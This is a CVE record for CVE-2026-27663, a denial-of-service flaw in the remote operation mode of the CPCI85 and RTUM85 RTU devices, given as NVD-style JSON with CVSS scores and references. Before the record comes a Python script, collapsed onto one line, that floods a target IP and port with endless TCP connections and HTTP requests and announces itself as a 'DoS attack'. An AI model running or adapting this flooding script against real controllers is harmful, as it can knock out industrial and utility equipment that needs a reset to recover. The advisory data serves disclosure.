CVE-2026-27663

import socket import time # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 80 # Replace with actual remote operation port print(f"[*] Starting DoS attack against {TARGET_IP}:{TARGET_PORT}") try: while True: # Create a socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) try: # Attempt to connect and send data s.connect((TARGET_IP, TARGET_PORT)) # Send a simple request to consume resources s.send(b"GET / HTTP/1.1\r\nHost: " + TARGET_IP.encode() + b"\r\n\r\n") print("[+] Request sent") except Exception as e: print(f"[-] Error: {e}") finally: s.close() # Small delay to prevent immediate local network saturation, adjust for impact time.sleep(0.01) except KeyboardInterrupt: print("\n[*] Attack stopped by user")

{"cve": {"id": "CVE-2026-27663", "sourceIdentifier": "[email protected]", "published": "2026-03-26T15:16:34.147", "lastModified": "2026-04-14T19:16:34.127", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V26.10), RTUM85 RTU Base (All versions < V26.10). The affected application contains denial-of-service (DoS) vulnerability. The remote operation mode is susceptible to a resource exhaustion condition when subjected to a high volume of requests. Sending multiple requests can exhaust resources, preventing parameterization and requiring a reset or reboot to restore functionality."}, {"lang": "es", "value": "Se ha identificado una vulnerabilidad en CPCI85 Procesamiento/Comunicación Central (Todas las versiones &lt; V26.10), RTUM85 Base RTU (Todas las versiones &lt; V26.10). La aplicación afectada contiene una vulnerabilidad de denegación de servicio (DoS). El modo de operación remoto es susceptible a una condición de agotamiento de recursos cuando se somete a un alto volumen de solicitudes. El envío de múltiples solicitudes puede agotar los recursos, impidiendo la parametrización y requiriendo un reinicio o un rearranque para restaurar la funcionalidad."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-246443.html", "source": "[email protected]"}, {"url": "http://seclists.org/fulldisclosure/2026/Apr/6", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}